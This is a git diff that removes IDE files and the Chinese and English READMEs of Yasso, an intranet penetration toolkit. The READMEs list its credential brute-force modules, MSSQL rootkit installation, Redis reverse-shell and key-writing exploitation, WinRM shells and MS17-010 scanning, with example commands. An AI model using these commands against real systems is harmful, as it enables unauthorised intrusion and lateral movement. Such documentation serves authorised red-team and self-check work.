diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 13566b8..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml diff --git a/.idea/.name b/.idea/.name deleted file mode 100644 index 30de634..0000000 --- a/.idea/.name +++ /dev/null @@ -1 +0,0 @@ -main.go \ No newline at end of file diff --git a/.idea/sqldialects.xml b/.idea/sqldialects.xml deleted file mode 100644 index 8a63ac3..0000000 --- a/.idea/sqldialects.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/.idea/workspace.xml b/.idea/workspace.xml new file mode 100644 index 0000000..0f46702 --- /dev/null +++ b/.idea/workspace.xml @@ -0,0 +1,216 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + { + "keyToString": { + "RunOnceActivity.go.format.on.save.advertiser.fired": "true", + "RunOnceActivity.go.formatter.settings.were.checked": "true", + "RunOnceActivity.go.migrated.go.modules.settings": "true", + "RunOnceActivity.go.modules.go.list.on.any.changes.was.set": "true", + "RunOnceActivity.go.watchers.conflict.with.on.save.actions.check.performed": "true", + "WebServerToolWindowFactoryState": "false", + "go.import.settings.migrated": "true", + "last_opened_file_path": "F:/Yasso", + "settings.editor.selected.configurable": "org.jetbrains.plugins.github.ui.GithubSettingsConfigurable", + "vue.rearranger.settings.migration": "true" + } +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + true + + + + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 65 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 69 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 74 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 79 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 84 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 85 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 113 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 118 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 123 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 124 + + + file://$PROJECT_DIR$/example/tcp_smb_test.go + 125 + + + + + \ No newline at end of file diff --git a/README.md b/README.md deleted file mode 100644 index 5a218a6..0000000 --- a/README.md +++ /dev/null @@ -1,504 +0,0 @@ -

👾 Yasso - 亚索 👾

- -建议git下来自己编译,编译命令 -``` -go build -x -v -ldflags "-s -w" -``` - -![go](https://img.shields.io/badge/Go-1.16.4-blue) - -[English Introduce](README_EN.md) - -## 介绍 😈 - -Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants` -的扫描并发,在实现功能的同时追求准确和速度 - - -使用格式为 - -``` -Yasso [模块] [参数1] [参数2] [参数...] -``` - -模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用) - -## 程序功能模块 👻 -2022年3月18日更新 -1. 增加了Redis的主从RCE和lua沙箱绕过RCE漏洞的利用方式(感谢云宇师傅@zyylhn的项目代码) -2. 修复了部分bug,但是代码有点乱,后期有重构思想(等有空) -3. 为-H的文件导入增加了127.0.0.1:700带端口的形式,让Yasso容错更多环境 - -![image](https://user-images.githubusercontent.com/74412075/158973347-22443527-006d-4f67-8158-2100956a30dd.png) - -2022年1月7日更新 -H 参数均支持ip.txt的导入,如下 - -![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png) - -2022年1月26日更新 crack 模块中 --ud --pass参数指定,由原本的字典变为字典和用户名指定模式(--ud "administrator,Oadmin" --pd "123456,11223") - -![image](https://user-images.githubusercontent.com/74412075/151147036-3aa34477-327b-44ef-a633-0504d40b855a.png) - - -目前已有用功能模块 : - -all模块: 调用全部模块的完全扫描方式,速度更快,能力更强,ants与并发的完美结合 - -``` -Usage: - Yasso all [flags] - -Flags: - -h, --help help for all - -H, --host hosts Set hosts(The format is similar to Nmap) - --noping No use ping to scanner alive host (default true) - -P, --ports ports Set ports(The format is similar to Nmap) - --proxy string Set socks5 proxy - --runtime int Set scanner ants pool thread (default 100) - --time duration Set timeout (default 1s) -``` - -ping模块: 普通用户权限调用系统ping,root权限可以选择使用icmp数据包 - -``` -Use ping or icmp to scanner alive host - -Usage: - Yasso ping [flags] - -Flags: - -h, --help help for ping - -H, --host hosts Set hosts(The format is similar to Nmap) - -i, --icmp Icmp packets are sent to check whether the host is alive(need root) -``` - -crack模块: 强大的爆破模块和利用工具集 - 子工具集 - -``` -Available Commands: - ftp ftp burst module (support proxy) - grdp RDP burst module (support proxy) - log4j Open a socket listener to test log4J vulnerabilities offline - mongo MongoDB burst module (support proxy) - mssql SQL Server burst module and extend tools (not support proxy) - mysql MYSQL burst module and extend tools (support proxy) - postgres PostgreSQL burst module (not support proxy) - redis Redis burst and Redis extend tools (support proxy) - smb Smb burst module (not support proxy) - ssh SSH burst and SSH extend tools (support proxy) - winrm winrm burst and extend tools (support proxy) - -Flags: - --crack make sure to use crack - -h, --help help for crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能 -
-ftp ftp服务爆破模块 - 支持socks5代理 - -``` -Flags: - -h, --help help for ftp - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-grdp rdp服务爆破模块 - 支持socks5代理 - -``` -Flags: - --domain string set host domain - -h, --help help for grdp - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测 - -``` -Flags: - -b, --bind string socket listen address (default "0.0.0.0:4568") - -h, --help help for log4j - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mongo mongodb服务爆破模块 - 支持socks5代理 - -``` -Flags: - -h, --help help for mongo - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理 - -``` -Flags: - --cld string Execute WarSQLKit Command (eg.) --cld "whoami" - -c, --cmd string Execute System command - -h, --help help for mssql - --hostname string Remote Connect mssql address(brute param need false) - --inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] - --kithelp int print SQLKit Use help - --method int Execute System command method [1,xpshell] [2,oleshell] (default 1) - --pass string Login ssh password - -s, --sql string Execute sql command - --unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] - --upload stringArray Use ole upload file (.eg) source,dest - --user string Login ssh username (default "sa") - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mysq mysql服务爆破模块和数据库查询 - 支持socks5代理 - -``` -Flags: - -C, --cmd string mysql sql command - -h, --help help for mysql - --hostname string Remote Connect a Mysql (brute param need false) - --pass string Login ssh password - --shell create sql shell to exec sql command - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-postgres PostgreSQL服务爆破模块 - 不支持socks5代理 - -``` -Flags: - -h, --help help for postgres - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-redis redis服务爆破模块,未授权检测,一键利用(写公钥,反弹shell) - 支持socks5代理 - -``` -Flags: - -h, --help help for redis - --hostname string Redis will connect this address - --pass string set login pass - --rebound string Rebound shell address (eg.) 192.168.1.1:4444 - --rekey string Write public key to Redis (eg.) id_rsa.pub - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-smb smb服务爆破模块 - 不支持socks5代理 - -``` -Flags: - -h, --help help for smb - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-ssh ssh服务爆破模块,完全交互shell连接 - 支持socks5代理 - -``` -Flags: - -h, --help help for ssh - --hostname string Open an interactive SSH at that address(brute param need false) - --key string ssh public key path - --pass string Login ssh password - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-winrm winrm服务爆破模块,命令执行横向 - 支持socks5代理 - -``` -Flags: - -c, --cmd string Execute system command - -h, --help help for winrm - --hostname string Open an interactive SSH at that address(brute param need false) - --pass string Login ssh password - --shell Get a cmd shell with WinRM - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- - -ps 模块: 采用ants协程的端口扫描,速度更快,更准确 - 不支持socks5代理 - -``` -Usage: - Yasso ps [flags] - -Flags: - -h, --help help for ps - -H, --hosts hosts Set hosts(The format is similar to Nmap) - -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 - -r, --runtime int Set scanner ants pool thread (default 100) - -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms) -``` - -vulscan 模块: 主机漏洞扫描-支持ms17010,smbghost漏洞 - 支持socks5代理 - -``` -Usage: - Yasso vulscan [flags] - -Flags: - --all scan all vuln contains ms17010,smbghost - --gs scan smbghost - -h, --help help for vulscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --ms scan ms17010 - --proxy string Set socks5 proxy -``` - -webscan模块: 完全的dismap移植,拥有更将强大的指纹识别 - 支持socks5代理 - -``` -Usage: - Yasso webscan [flags] - -Flags: - -h, --help help for webscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --ping Use ping to scan alive host - -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 - --proxy string Set socks5 proxy and use it - -r, --runtime int Set scanner ants pool thread (default 508) - -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s) -``` - -winscan模块: windows主机的netbios识别,oxid网卡发现,smb主机指纹 - 支持socks5代理 - -``` -netbios、smb、oxid scan - -Usage: - Yasso winscan [flags] - -Flags: - --all Set all flag and use oxid,netbios,smb scan (default true) - -h, --help help for winscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --netbios Set netbios flag and use netbios scan - --oxid Set oxid flag and use oxid scan - --proxy string Set socks5 proxy and use it - --smb Set smb flag and use smb scan - --time duration Set net conn timeout (default 1s) -``` - -## 使用例子👿 - -all 模块的扫描服务调用 - -``` -Yasso.exe all -H 192.168.248.1/24 -``` - -![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png) - -mssql 的命令执行提权和WarSQLKit-clr提权Rookit安装卸载执行功能 - -``` -Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 -Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2 -Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1 -Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "sp_getSqlHash" -Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "whoami" -Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1 -``` - -![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png) - -winrm 的命令执行和交互shell - -``` -Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator" -``` - -![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png) - -``` -Yasso.exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator" -``` - -![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png) - -grdp的强大爆破功能 - -``` -Yasso.exe crack grdp --domain "kilon.local" --pd .\pass.txt --ud .\user.txt -H 192.168.248.128/24 --crack -``` - -![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png) - -ssh的交互式登陆 - -``` -Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali -``` - -![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png) - -## 工具优势🤡 - -- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能 -- 集合了大量的常用功能,使得Yasso并不像常规的扫描器,而是作为工具集 -- 强大的SQL渗透辅助功能,提供了常见的redis,mysql,mssql等数据库的一键提权和数据库操作 -- 强大的并发爆破,使得大字典能获取更快的速度 -- rdp和winrm的强势加入,使得内网横向更加迅速和方便快捷 - -## 免责声明🧐 - -本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 - -在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要** - -如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 - -在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 -除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 - -## 工具编写参考链接👀 - -``` -https://github.com/shadow1ng/fscan -https://github.com/k8gege/LadonGo -https://github.com/zyylhn/zscan -https://github.com/uknowsec/SharpSQLTools -https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit -https://github.com/masterzen/winrm -https://github.com/tomatome/grdp -https://github.com/panjf2000/ants - -``` diff --git a/README_EN.md b/README_EN.md deleted file mode 100644 index 11b90b7..0000000 --- a/README_EN.md +++ /dev/null @@ -1,511 +0,0 @@ -👾 Yasso-Yasso 👾 - -![go](https://img.shields.io/badge/Go-1.16.4-blue) - -[Chinese Introduce](README.zh_CN.md) - -## Introduce😈 - -Yasso will be released as an Intranet assisted penetration tool set, which brings together a number of utility features -to help Red Team members use tools in extreme Intranet environments, as well as Intranet self-check for Blue Team -members. It also adds proxy functionality and scan concurrency for ants. In the realization of functions at the same -time the pursuit of accuracy and speed. - -[![asciicast](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL.svg)](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL) - -The format is - -``` -Yasso [模块] [参数1] [参数2] [参数...] -``` - -In the module, 'Flag' represents the parameters of the current command, and 'Global Flags' represents the Global -parameters (all commands can be used). - -## Program function module 👻 - --H parameters all support IP. TXT import, as shown below - -![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png) - -Currently available functional modules: - -ALL module: full scan mode of calling all modules, faster and more powerful, perfect combination of ants and -concurrency - -``` -Usage: - Yasso all [flags] - -Flags: - -h, --help help for all - -H, --host hosts Set hosts(The format is similar to Nmap) - --noping No use ping to scanner alive host (default true) - -P, --ports ports Set ports(The format is similar to Nmap) - --proxy string Set socks5 proxy - --runtime int Set scanner ants pool thread (default 100) - --time duration Set timeout (default 1s) -``` - -Ping module: ordinary user can call system ping, root can choose to use ICMP packet - -``` -Use ping or icmp to scanner alive host - -Usage: - -Yasso ping [flags] - -Flags: --h, --help help for ping --H, --host hosts Set hosts(The format is similar to Nmap) --i, --icmp Icmp packets are sent to check whether the host is alive(need root) -``` - -Crack module: Powerful blasting module and utilizing toolset - sub-toolset - -``` -Available Commands: - ftp ftp burst module (support proxy) - grdp RDP burst module (support proxy) - log4j Open a socket listener to test log4J vulnerabilities offline - mongo MongoDB burst module (support proxy) - mssql SQL Server burst module and extend tools (not support proxy) - mysql MYSQL burst module and extend tools (support proxy) - postgres PostgreSQL burst module (not support proxy) - redis Redis burst and Redis extend tools (support proxy) - smb Smb burst module (not support proxy) - ssh SSH burst and SSH extend tools (support proxy) - winrm winrm burst and extend tools (support proxy) - -Flags: - --crack make sure to use crack - -h, --help help for crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -The program is mainly divided into a number of sub-command functions, each function is annotated in detail, here is a -detailed introduction of sub-functions - -
-ftp FTP service blowing module - support SOcks5 proxy - -``` -Flags: - -h, --help help for ftp - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-grdp RDP service blowup module - support socks5 proxy - -``` -Flags: - --domain string set host domain - -h, --help help for grdp - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-log4j log4j2 server - For manual log4J vulnerability detection within the network - -``` -Flags: - -b, --bind string socket listen address (default "0.0.0.0:4568") - -h, --help help for log4j - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mongo mongodb service blasting module - support socks5 proxy - -``` -Flags: - -h, --help help for mongo - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mssql SQL Server service blowup module and power lifting auxiliary module - socks5 proxy is not supported - -``` -Flags: - --cld string Execute WarSQLKit Command (eg.) --cld "whoami" - -c, --cmd string Execute System command - -h, --help help for mssql - --hostname string Remote Connect mssql address(brute param need false) - --inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] - --kithelp int print SQLKit Use help - --method int Execute System command method [1,xpshell] [2,oleshell] (default 1) - --pass string Login ssh password - -s, --sql string Execute sql command - --unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] - --upload stringArray Use ole upload file (.eg) source,dest - --user string Login ssh username (default "sa") - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-mysql mysql service explosion module and database query - support for SOcks5 proxy - -``` -Flags: - -C, --cmd string mysql sql command - -h, --help help for mysql - --hostname string Remote Connect a Mysql (brute param need false) - --pass string Login ssh password - --shell create sql shell to exec sql command - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-postgres PostgreSQL Service blowup module - No support for SOcks5 proxy - -``` -Flags: - -h, --help help for postgres - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- - -
-Redis Redis service blowup module, unauthorized detection, one-click utilization (write public key, bounce shell) - support socks5 proxy - -``` -Flags: - -h, --help help for redis - --hostname string Redis will connect this address - --pass string set login pass - --rebound string Rebound shell address (eg.) 192.168.1.1:4444 - --rekey string Write public key to Redis (eg.) id_rsa.pub - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- -
-smb SMB Service blowup module - Does not support SOcks5 proxy - -``` -Flags: - -h, --help help for smb - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- - -
-ssh SSH service burst module, fully interactive shell connection - support socks5 proxy - - -``` -Flags: - -h, --help help for ssh - --hostname string Open an interactive SSH at that address(brute param need false) - --key string ssh public key path - --pass string Login ssh password - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- - -
-winrm Winrm service blowup module, command execution horizontal - support socks5 proxy - - -``` -Flags: - -c, --cmd string Execute system command - -h, --help help for winrm - --hostname string Open an interactive SSH at that address(brute param need false) - --pass string Login ssh password - --shell Get a cmd shell with WinRM - --user string Login ssh username - -Global Flags: - --crack make sure to use crack - -H, --hosts string to crack hosts address (crack Must) - --pd string pass dic path (.eg) pass.txt - --port int to crack hosts port (if not set use default) - --proxy string set socks5 proxy address - --runtime int set crack thread number (default 100) - --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) - --ud string user dic path (.eg) user.txt -``` - -
- - -ps module: using ANTS coroutine for port scanning, faster and more accurate - does not support SOcks5 proxy - - - -``` -Usage: - Yasso ps [flags] - -Flags: - -h, --help help for ps - -H, --hosts hosts Set hosts(The format is similar to Nmap) - -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 - -r, --runtime int Set scanner ants pool thread (default 100) - -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms) -``` - -vulscan module: Host vulnerability scan - support MS17010, SMbGhost - support socks5 proxy - -``` -Usage: - Yasso vulscan [flags] - -Flags: - --all scan all vuln contains ms17010,smbghost - --gs scan smbghost - -h, --help help for vulscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --ms scan ms17010 - --proxy string Set socks5 proxy -``` - -WebScan module: full dismap porting, with more powerful fingerprint recognition - support socks5 proxy - -``` -Usage: - Yasso webscan [flags] - -Flags: - -h, --help help for webscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --ping Use ping to scan alive host - -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 - --proxy string Set socks5 proxy and use it - -r, --runtime int Set scanner ants pool thread (default 508) - -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s) -``` - -winscan module: Windows host netBIOS recognition, OXID network card discovery, SMB host fingerprint - support SOcks5 -proxy - -``` -netbios、smb、oxid scan - -Usage: - Yasso winscan [flags] - -Flags: - --all Set all flag and use oxid,netbios,smb scan (default true) - -h, --help help for winscan - -H, --hosts hosts Set hosts(The format is similar to Nmap) - --netbios Set netbios flag and use netbios scan - --oxid Set oxid flag and use oxid scan - --proxy string Set socks5 proxy and use it - --smb Set smb flag and use smb scan - --time duration Set net conn timeout (default 1s) -``` - -## Example👿 - -Scan service invocation for the ALL module - -``` -Yasso. Exe all - 192.168.248.1/24 H -``` - -![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png) - -MSSQL commands perform powerlifting and WarSQLKit -CLR Rookit install and uninstall the powerlifting function - -``` -Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 -Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2 -Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1 -Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "sp_getSqlHash" -Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "whoami" -Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1 -``` - -![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png) - -Winrm command execution and interactive shell - -``` -Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator" -``` - -![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png) - -``` -Yasso. Exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator" -``` - -![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png) - -grdp's powerful blasting function - -``` -Yasso. Exe crack GRDP --domain "kilon.local" -- pd.\ pass. TXT -- ud.\ user. TXT -h 192.168.248.129/24 --crack -``` - -![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png) -ssh interactive login - -``` -Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali -``` - 